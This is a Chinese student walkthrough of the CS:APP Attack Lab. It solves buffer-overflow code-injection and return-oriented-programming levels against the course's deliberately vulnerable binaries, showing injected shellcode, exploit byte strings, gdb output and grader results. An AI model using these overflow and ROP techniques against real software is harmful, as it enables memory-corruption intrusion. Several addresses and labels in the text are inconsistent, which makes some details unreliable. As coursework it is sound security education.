CSAPP: Attack Lab

一个人几乎可以在任何他怀有无限热忱的事情上成功。

Part I: Code Injection Attacks

Level 1

  • 要注意小端字节序在内存中的布局
  • 若Gets函数返回值不为1则出现segmentation fault
  • 进入gdb进入buf函数之后,info frame查看栈帧信息。getbuf函数没有参数,局部变量的起始地址都为0x5561dc70,在开辟栈帧时先将返回地址(i.e.getbuf函数下一条指令的地址)压入栈中0x5561dca0处,再将栈顶指针rsp减少0x280x5561dc78。注意输入的exploit string的末尾会自动加上一个null(i.e.\0000)。还要注意little endian的问题(比如局部变量buf数组会将栈中连续地址的内容以字节按照小端字节序来排列,返回地址是指针值64-bit,8个字节按照小端字节序排列)。因为栈开辟的栈的大小为40个字节,一个字符为1字节。因此输入40个空字符(0x00)后,再紧跟着14个十六进制数(最后会自动补上一个00)表示返回地址(i.e.touch1的入口地址0x4018c0),即c0 18 40 00 00 00 00
    1
    2
    3
    4
    5
    6
    7
    8
    9
    (gdb) info frame
    Stack level 0, frame at 0x5561dca8: ; level 0表示帧由高地址向低地址增长
    rip = 0x4017ac in getbuf (buf.c:14); saved rip = 0x401976 ; 返回地址0x401976
    called by frame at 0x5561dcb8 ; 调用者栈帧的地址
    source language c.
    Arglist at 0x5561dc70, args:
    Locals at 0x5561dc70, Previous frame's sp is 0x5561dca8 ; 上一帧的栈指针指向的地址为0x5561dca8
    Saved registers:
    rip at 0x5561dca0 ; 返回地址被保存到0x5561dca0
  • 紧接着输入./ctarget < exploit01-raw.txt -q,phase1 passed!
    1
    2
    3
    4
    5
    6
    7
    8
    Cookie: 0x59b997fa
    Type string:Touch1!: You called touch1()
    Valid solution for level 1 with target ctarget
    PASS: Would have posted the following:
    user id bovik
    course 15213-f15
    lab attacklab
    result 1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 00 00 00 00

Level 2

  • 附录B中提到了,可以先编写汇编代码,通过GCC进行编译汇编但不链接,产生obj文件。最后再将obj文件用objdump进行反汇编,将指令的bytes code提取出来,并通过./hex2raw生成带有C风格的注释
  • 根据题目的意思,应该就是在level 1的基础上getbuf返回到一段自己的注入代码(在缓冲区中),完成将cookie传递到rdi后再执行ret指令返回到touch2并传递一个参数来供touch2函数进行检查。所以我们先创建一个example.s文件然后通过GCC进行编译汇编但不进行链接,最后再使用objdump来反汇编代码得到byte code然后放到我们的exploit string中,进行攻击代码注入。
  • 注意ret会将栈顶元素弹出并赋给PC(因此在从注入代码返回到touch2时需要执行pushq指令将touch2的地址压入栈中,再执行ret)。下面是攻击代码,这里我将它放到栈帧顶处0x5561dc78。因为栈帧顶为低地址,程序执行由低地址到高地址,我们将mov指令放到栈帧顶。试了一下好像只有AT&T语法进行反汇编才能PASS(别忘了这是GCC、OBJDUMP和其他一些工具的默认格式)。这是进行反汇编后的代码:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10

    example.o: file format elf64-x86-64


    Disassembly of section .text:

    0000000000000000 <.text>:
    0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
    7: 68 ec 17 40 00 pushq $0x4017ec
    c: c3 retq
  • phase2 passed!
    1
    2
    3
    4
    5
    6
    7
    8
    Cookie: 0x59b997fa
    Type string:Touch2!: You called touch2(0x59b997fa)
    Valid solution for level 2 with target ctarget
    PASS: Would have posted the following:
    user id bovik
    course 15213-f15
    lab attacklab
    result 1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00

Level 3

  • 应题目要求,先将cookie中的8个hex以ASCII字符的形式来表示,随后将这个字符串放入缓冲区中,再将它的起始地址放入rdi中作为touch3的第一个参数,其中调用的hexmatch会将cookie的hex形式与ASCII形式进行比较看输出是否正确,输入参数的过程需要代码注入
  • 我的cookie为0x59b997fa转换为ASCII为35 39 62 39 39 37 66 61,别忘了以空字符00作为结尾,一共占用9个字节。因为hexmatchs的位置是随机的有可能会覆盖掉getbuf中的缓冲区(实验手册说明的),因此我们得把字符串的地址放在比较安全的地方,也就是调用getbuf之前,在text的栈帧中,于是我们选择放在text的栈帧顶0x5561dca8也就是getbuf缓冲区中第48个字节起始的位置。在level2的基础上,需要考虑缓冲区被随机覆盖的情况
  • 反汇编后的代码:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10

    example3.o: file format elf64-x86-64


    Disassembly of section .text:

    0000000000000000 <.text>:
    0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi
    7: 68 fa 18 40 00 pushq $0x4018fa
    c: c3 retq
  • 提取指令的字节序列放入缓冲区中
  • phase3 passed!:
    1
    2
    3
    4
    5
    6
    7
    8
    Cookie: 0x59b997fa
    Type string:Touch3!: You called touch3("59b997fa")
    Valid solution for level 3 with target ctarget
    PASS: Would have posted the following:
    user id bovik
    course 15213-f15
    lab attacklab
    result 1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61

Part II: Return-Oriented Programming

  • RTARGET相比较于CTARGET用到了栈随机化的方式,因此很难决定注入代码的位置。以及因为可执行控制位的限制,在那一部分内存中执行注入代码会出现,segmentation fault的错误
  • ROP(return-oriented programming),区分已经存在的字节序列,这些指令后面紧跟着ret指令。

    Level 2

  • 只能使用前八个寄存器(%rax~%rdi);提示了当前所需的指令序列在start_farm到mid_farm之间;只能使用两个gadgets
  • 建议中提示使用会使用到pop指令,可以将cookie放到test栈帧顶,然后通过pop指令将其送到指定的rdi寄存器中。但是很遗憾没有找到字节编码为0x5fpop %rdi指令,然后想到可不可以将它pop到rax寄存器后再将它mov到rdi寄存器中呢?!答案是可以的
  • 从farm中提取movq %rdi, %rsi指令,指令起始地址为0x4019c5:
    1
    2
    3
    00000000004019c3 <setval_426>:
    4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
    4019c9: c3 retq
  • 从farm中提取popq %rdi指令,指令起始地址为0x4091ab:
    1
    2
    3
    00000000004019a7 <addval_219>:
    4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
    4019ad: c3 retq
  • 在返回地址处存放gadget0<addval_219+4>的入口地址,也就是getbuf栈帧执行结束返回的地址。getbuf执行结束后,将入口地址赋给PC,程序将跳转到addval_219+4处执行popq指令,将存储在test栈帧顶的cookie弹出,然后栈顶指针rsp向高地址移动8个bit,此时指向的是gadget1<setval_426+2>的入口地址。在gadget0执行结束时,执行ret,会将gadget1的地址弹出作为PC的跳转地址并将栈顶指针向高地址移动8个bit,随后跳转到gadget1执行。紧接着在连续的地址单元中存放的是touch2的入口地址,在gadget1返回后,已经将cookie放入到rdi寄存器中作为参数,执行ret后将存放在test栈帧中的入口地址弹出,跳转到touch2中执行,完成ROP!
  • 注意ret弹的是64位的地址值。
  • 这时候仔细想想,前面几个level是不是也能按照这样的思路完成呢?比如说在返回地址处也放一条pop指令,随后在test栈帧处注入攻击代码。
  • phase4 passed!:
    1
    2
    3
    4
    5
    6
    7
    8
    Cookie: 0x59b997fa
    Type string:Touch2!: You called touch2(0x59b997fa)
    Valid solution for level 2 with target rtarget
    PASS: Would have posted the following:
    user id bovik
    course 15213-f15
    lab attacklab
    result 1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AB 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 C5 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00

    Option考上master之后再继续完成吧